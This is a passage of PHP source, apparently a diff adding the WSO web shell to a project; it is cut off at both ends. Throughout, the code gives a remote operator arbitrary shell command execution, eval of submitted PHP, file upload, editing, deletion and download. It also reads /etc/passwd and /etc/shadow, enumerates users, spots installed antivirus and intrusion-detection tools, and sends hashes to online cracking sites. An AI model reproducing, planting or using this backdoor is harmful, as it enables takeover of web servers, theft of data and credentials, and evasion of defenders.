color=red>ON</font>':'<font color=green><b>OFF</b></font>') + . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' + . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' + . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; +} + +function wsoFooter() { + $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; + echo " +</div> +<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> + <tr> + <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> + <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> + </tr><tr> + <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> + <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> + </tr><tr> + <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> + <td><form method='post' ENCTYPE='multipart/form-data'> + <input type=hidden name=a value='FilesMAn'> + <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> + <input type=hidden name=p1 value='uploadFile'> + <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> + <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> + </tr></table></div></body></html>"; +} + +if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { + function posix_getpwuid($p) {return false;} } +if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { + function posix_getgrgid($p) {return false;} } + +function wsoEx($in) { + $out = ''; + if (function_exists('exec')) { + @exec($in,$out); + $out = @join("\n",$out); + } elseif (function_exists('passthru')) { + ob_start(); + @passthru($in); + $out = ob_get_clean(); + } elseif (function_exists('system')) { + ob_start(); + @system($in); + $out = ob_get_clean(); + } elseif (function_exists('shell_exec')) { + $out = shell_exec($in); + } elseif (is_resource($f = @popen($in,"r"))) { + $out = ""; + while(!@feof($f)) + $out .= fread($f,1024); + pclose($f); + } + return $out; +} + +function wsoViewSize($s) { + if($s >= 1073741824) + return sprintf('%1.2f', $s / 1073741824 ). ' GB'; + elseif($s >= 1048576) + return sprintf('%1.2f', $s / 1048576 ) . ' MB'; + elseif($s >= 1024) + return sprintf('%1.2f', $s / 1024 ) . ' KB'; + else + return $s . ' B'; +} + +function wsoPerms($p) { + if (($p & 0xC000) == 0xC000)$i = 's'; + elseif (($p & 0xA000) == 0xA000)$i = 'l'; + elseif (($p & 0x8000) == 0x8000)$i = '-'; + elseif (($p & 0x6000) == 0x6000)$i = 'b'; + elseif (($p & 0x4000) == 0x4000)$i = 'd'; + elseif (($p & 0x2000) == 0x2000)$i = 'c'; + elseif (($p & 0x1000) == 0x1000)$i = 'p'; + else $i = 'u'; + $i .= (($p & 0x0100) ? 'r' : '-'); + $i .= (($p & 0x0080) ? 'w' : '-'); + $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); + $i .= (($p & 0x0020) ? 'r' : '-'); + $i .= (($p & 0x0010) ? 'w' : '-'); + $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); + $i .= (($p & 0x0004) ? 'r' : '-'); + $i .= (($p & 0x0002) ? 'w' : '-'); + $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); + return $i; +} + +function wsoPermsColor($f) { + if (!@is_readable($f)) + return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; + elseif (!@is_writable($f)) + return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; + else + return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; +} + +function wsoScandir($dir) { + if(function_exists("scandir")) { + return scandir($dir); + } else { + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) + $files[] = $filename; + return $files; + } +} + +function wsoWhich($p) { + $path = wsoEx('which ' . $p); + if(!empty($path)) + return $path; + return false; +} + +function actionSecInfo() { + wsoHeader(); + echo '<h1>Server security information</h1><div class=content>'; + function wsoSecParam($n, $v) { + $v = trim($v); + if($v) { + echo '<span>' . $n . ': </span>'; + if(strpos($v, "\n") === false) + echo $v . '<br>'; + else + echo '<pre class=ml1>' . $v . '</pre>'; + } + } + + wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); + if(function_exists('apache_get_modules')) + wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); + wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); + wsoSecParam('Open base dir', @ini_get('open_basedir')); + wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); + wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); + wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); + $temp=array(); + if(function_exists('mysql_get_client_info')) + $temp[] = "MySql (".mysql_get_client_info().")"; + if(function_exists('mssql_connect')) + $temp[] = "MSSQL"; + if(function_exists('pg_connect')) + $temp[] = "PostgreSQL"; + if(function_exists('oci_connect')) + $temp[] = "Oracle"; + wsoSecParam('Supported databases', implode(', ', $temp)); + echo '<br>'; + + if($GLOBALS['os'] == 'nix') { + wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); + wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no'); + wsoSecParam('OS version', @file_get_contents('/proc/version')); + wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); + if(!$GLOBALS['safe_mode']) { + $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); + $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); + $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); + echo '<br>'; + $temp=array(); + foreach ($userful as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Userful', implode(', ',$temp)); + $temp=array(); + foreach ($danger as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Danger', implode(', ',$temp)); + $temp=array(); + foreach ($downloaders as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Downloaders', implode(', ',$temp)); + echo '<br/>'; + wsoSecParam('HDD space', wsoEx('df -h')); + wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); + echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>'; + if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { + $temp = ""; + for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { + $uid = @posix_getpwuid($_POST['p2']); + if ($uid) + $temp .= join(':',$uid)."\n"; + } + echo '<br/>'; + wsoSecParam('Users', $temp); + } + } + } else { + wsoSecParam('OS Version',wsoEx('ver')); + wsoSecParam('Account Settings',wsoEx('net accounts')); + wsoSecParam('User Accounts',wsoEx('net user')); + } + echo '</div>'; + wsoFooter(); +} + +function actionPhp() { + if(isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); + ob_start(); + eval($_POST['p1']); + $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + if(empty($_POST['ajax']) && !empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); + + wsoHeader(); + if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { + echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; + ob_start(); + phpinfo(); + $tmp = ob_get_clean(); + $tmp = preg_replace(array ( + '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', + '!td, th {(.*)}!msiU', + '!<img[^>]+>!msiU', + ), array ( + '', + '.e, .v, .h, .h th {$1}', + '' + ), $tmp); + echo str_replace('<h1','<h2', $tmp) .'</div><br>'; + } + echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; + echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; + if(!empty($_POST['p1'])) { + ob_start(); + eval($_POST['p1']); + echo htmlspecialchars(ob_get_clean()); + } + echo '</pre></div>'; + wsoFooter(); +} + +function actionFilesMan() { + if (!empty ($_COOKIE['f'])) + $_COOKIE['f'] = @unserialize($_COOKIE['f']); + + if(!empty($_POST['p1'])) { + switch($_POST['p1']) { + case 'uploadFile': + if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) + echo "Can't upload file!"; + break; + case 'mkdir': + if(!@mkdir($_POST['p2'])) + echo "Can't create new dir"; + break; + case 'delete': + function deleteDir($path) { + $path = (substr($path,-1)=='/') ? $path:$path.'/'; + $dh = opendir($path); + while ( ($item = readdir($dh) ) !== false) { + $item = $path.$item; + if ( (basename($item) == "..") || (basename($item) == ".") ) + continue; + $type = filetype($item); + if ($type == "dir") + deleteDir($item); + else + @unlink($item); + } + closedir($dh); + @rmdir($path); + } + if(is_array(@$_POST['f'])) + foreach($_POST['f'] as $f) { + if($f == '..') + continue; + $f = urldecode($f); + if(is_dir($f)) + deleteDir($f); + else + @unlink($f); + } + break; + case 'paste': + if($_COOKIE['act'] == 'copy') { + function copy_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = @opendir($c.$s); + while (($f = @readdir($h)) !== false) + if (($f != ".") and ($f != "..")) + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } elseif(is_file($c.$s)) + @copy($c.$s, $d.$s); + } + foreach($_COOKIE['f'] as $f) + copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']); + } elseif($_COOKIE['act'] == 'move') { + function move_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = @opendir($c.$s); + while (($f = @readdir($h)) !== false) + if (($f != ".") and ($f != "..")) + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } elseif(@is_file($c.$s)) + @copy($c.$s, $d.$s); + } + foreach($_COOKIE['f'] as $f) + @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); + } elseif($_COOKIE['act'] == 'zip') { + if(class_exists('ZipArchive')) { + $zip = new ZipArchive(); + if ($zip->open($_POST['p2'], 1)) { + chdir($_COOKIE['c']); + foreach($_COOKIE['f'] as $f) { + if($f == '..') + continue; + if(@is_file($_COOKIE['c'].$f)) + $zip->addFile($_COOKIE['c'].$f, $f); + elseif(@is_dir($_COOKIE['c'].$f)) { + $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); + foreach ($iterator as $key=>$value) { + $zip->addFile(realpath($key), $key); + } + } + } + chdir($GLOBALS['cwd']); + $zip->close(); + } + } + } elseif($_COOKIE['act'] == 'unzip') { + if(class_exists('ZipArchive')) { + $zip = new ZipArchive(); + foreach($_COOKIE['f'] as $f) { + if($zip->open($_COOKIE['c'].$f)) { + $zip->extractTo($GLOBALS['cwd']); + $zip->close(); + } + } + } + } elseif($_COOKIE['act'] == 'tar') { + chdir($_COOKIE['c']); + $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']); + wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f'])); + chdir($GLOBALS['cwd']); + } + unset($_COOKIE['f']); + setcookie('f', '', time() - 3600); + break; + default: + if(!empty($_POST['p1'])) { + WSOsetcookie('act', $_POST['p1']); + WSOsetcookie('f', serialize(@$_POST['f'])); + WSOsetcookie('c', @$_POST['c']); + } + break; + } + } + wsoHeader(); + echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; + $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); + if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; } + global $sort; + $sort = array('name', 1); + if(!empty($_POST['p1'])) { + if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) + $sort = array($match[1], (int)$match[2]); + } +echo "<script> + function sa() { + for(i=0;i<d.files.elements.length;i++) + if(d.files.elements[i].type == 'checkbox') + d.files.elements[i].checked = d.files.elements[0].checked; + } +</script> +<table width='100%' class='main' cellspacing='0' cellpadding='2'> +<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; + $dirs = $files = array(); + $n = count($dirContent); + for($i=0;$i<$n;$i++) { + $ow = @posix_getpwuid(@fileowner($dirContent[$i])); + $gr = @posix_getgrgid(@filegroup($dirContent[$i])); + $tmp = array('name' => $dirContent[$i], + 'path' => $GLOBALS['cwd'].$dirContent[$i], + 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), + 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), + 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), + 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), + 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) + ); + if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) + $files[] = array_merge($tmp, array('type' => 'file')); + elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) + $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); + elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) + $dirs[] = array_merge($tmp, array('type' => 'dir')); + } + $GLOBALS['sort'] = $sort; + function wsoCmp($a, $b) { + if($GLOBALS['sort'][0] != 'size') + return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); + else + return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); + } + usort($files, "wsoCmp"); + usort($dirs, "wsoCmp"); + $files = array_merge($dirs, $files); + $l = 0; + foreach($files as $f) { + echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] + .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; + $l = $l?0:1; + } + echo "<tr><td colspan=7> + <input type=hidden name=a value='FilesMan'> + <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> + <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> + <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; + if(class_exists('ZipArchive')) + echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; + echo "<option value='tar'>Compress (tar.gz)</option>"; + if(!empty($_COOKIE['act']) && @count($_COOKIE['f'])) + echo "<option value='paste'>Paste / Compress</option>"; + echo "</select>&nbsp;"; + if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) + echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;"; + echo "<input type='submit' value='>>'></td></tr></form></table></div>"; + wsoFooter(); +} + +function actionStringTools() { + if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} + if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} + if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} + if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} + if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} + $stringTools = array( + 'Base64 encode' => 'base64_encode', + 'Base64 decode' => 'base64_decode', + 'Url encode' => 'urlencode', + 'Url decode' => 'urldecode', + 'Full urlencode' => 'full_urlencode', + 'md5 hash' => 'md5', + 'sha1 hash' => 'sha1', + 'crypt' => 'crypt', + 'CRC32' => 'crc32', + 'ASCII to HEX' => 'ascii2hex', + 'HEX to ASCII' => 'hex2ascii', + 'HEX to DEC' => 'hexdec', + 'HEX to BIN' => 'hex2bin', + 'DEC to HEX' => 'dechex', + 'DEC to BIN' => 'decbin', + 'BIN to HEX' => 'binhex', + 'BIN to DEC' => 'bindec', + 'String to lower case' => 'strtolower', + 'String to upper case' => 'strtoupper', + 'Htmlspecialchars' => 'htmlspecialchars', + 'String length' => 'strlen', + ); + if(isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); + ob_start(); + if(in_array($_POST['p1'], $stringTools)) + echo $_POST['p1']($_POST['p2']); + $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); + wsoHeader(); + echo '<h1>String conversions</h1><div class=content>'; + echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>"; + foreach($stringTools as $k => $v) + echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; + echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; + if(!empty($_POST['p1'])) { + if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); + } + echo"</pre></div><br><h1>Search files:</h1><div class=content> + <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> + <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> + <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr> + <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> + <tr><td></td><td><input type='submit' value='>>'></td></tr> + </table></form>"; + + function wsoRecursiveGlob($path) { + if(substr($path, -1) != '/') + $path.='/'; + $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); + if(is_array($paths)&&@count($paths)) { + foreach($paths as $item) { + if(@is_dir($item)){ + if($path!=$item) + wsoRecursiveGlob($item); + } else { + if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false) + echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>"; + } + } + } + } + if(@$_POST['p3']) + wsoRecursiveGlob($_POST['c']); + echo "</div><br><h1>Search for hash:</h1><div class=content> + <form method='post' target='_blank' name='hf'> + <input type='text' name='hash' style='width:200px;'><br> + <input type='hidden' name='act' value='find'/> + <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br> + <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> + <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br> + </form></div>"; + wsoFooter(); +} + +function actionFilesTools() { + if( isset($_POST['p1']) ) + $_POST['p1'] = urldecode($_POST['p1']); + if(@$_POST['p2']=='download') { + if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); + if (function_exists("mime_content_type")) { + $type = @mime_content_type($_POST['p1']); + header("Content-Type: " . $type); + } else + header("Content-Type: application/octet-stream"); + $fp = @fopen($_POST['p1'], "r"); + if($fp) { + while(!@feof($fp)) + echo @fread($fp, 1024); + fclose($fp); + } + }exit; + } + if( @$_POST['p2'] == 'mkfile' ) { + if(!file_exists($_POST['p1'])) { + $fp = @fopen($_POST['p1'], 'w'); + if($fp) { + $_POST['p2'] = "edit"; + fclose($fp); + } + } + } + wsoHeader(); + echo '<h1>File tools</h1><div class=content>'; + if( !file_exists(@$_POST['p1']) ) { + echo 'File not exists'; + wsoFooter(); + return; + } + $uid = @posix_getpwuid(@fileowner($_POST['p1'])); + if(!$uid) { + $uid['name'] = @fileowner($_POST['p1']); + $gid['name'] = @filegroup($_POST['p1']); + } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); + echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; + echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; + if( empty($_POST['p2']) ) + $_POST['p2'] = 'view'; + if( is_file($_POST['p1']) ) + $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); + else + $m = array('Chmod', 'Rename', 'Touch'); + foreach($m as $v) + echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; + echo '<br><br>'; + switch($_POST['p2']) { + case 'view': + echo '<pre class=ml1>'; + $fp = @fopen($_POST['p1'], 'r'); + if($fp) { + while( !@feof($fp) ) + echo htmlspecialchars(@fread($fp, 1024)); + @fclose($fp); + } + echo '</pre>'; + break; + case 'highlight': + if( @is_readable($_POST['p1']) ) { + echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; + $code = @highlight_file($_POST['p1'],true); + echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; + } + break; + case 'chmod': + if( !empty($_POST['p3']) ) { + $perms = 0; + for($i=strlen($_POST['p3'])-1;$i>=0;--$i) + $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); + if(!@chmod($_POST['p1'], $perms)) + echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; + } + clearstatcache(); + echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; + break; + case 'edit': + if( !is_writable($_POST['p1'])) { + echo 'File isn\'t writeable'; + break; + } + if( !empty($_POST['p3']) ) { + $time = @filemtime($_POST['p1']); + $_POST['p3'] = substr($_POST['p3'],1); + $fp = @fopen($_POST['p1'],"w"); + if($fp) { + @fwrite($fp,$_POST['p3']); + @fclose($fp); + echo 'Saved!<br><script>p3_="";</script>'; + @touch($_POST['p1'],$time,$time); + } + } + echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; + $fp = @fopen($_POST['p1'], 'r'); + if($fp) { + while( !@feof($fp) ) + echo htmlspecialchars(@fread($fp, 1024)); + @fclose($fp); + } + echo '</textarea><input type=submit value=">>"></form>'; + break; + case 'hexdump': + $c = @file_get_contents($_POST['p1']); + $n = 0; + $h = array('00000000<br>','',''); + $len = strlen($c); + for ($i=0; $i<$len; ++$i) { + $h[1] .= sprintf('%02X',ord($c[$i])).' '; + switch ( ord($c[$i]) ) { + case 0: $h[2] .= ' '; break; + case 9: $h[2] .= ' '; break; + case 10: $h[2] .= ' '; break; + case 13: $h[2] .= ' '; break; + default: $h[2] .= $c[$i]; break; + } + $n++; + if ($n == 32) { + $n = 0; + if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} + $h[1] .= '<br>'; + $h[2] .= "\n"; + } + } + echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; + break; + case 'rename': + if( !empty($_POST['p3']) ) { + if(!@rename($_POST['p1'], $_POST['p3'])) + echo 'Can\'t rename!<br>'; + else + die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); + } + echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; + break; + case 'touch': + if( !empty($_POST['p3']) ) { + $time = strtotime($_POST['p3']); + if($time) { + if(!touch($_POST['p1'],$time,$time)) + echo 'Fail!'; + else + echo 'Touched!'; + } else echo 'Bad time format!'; + } + clearstatcache(); + echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . 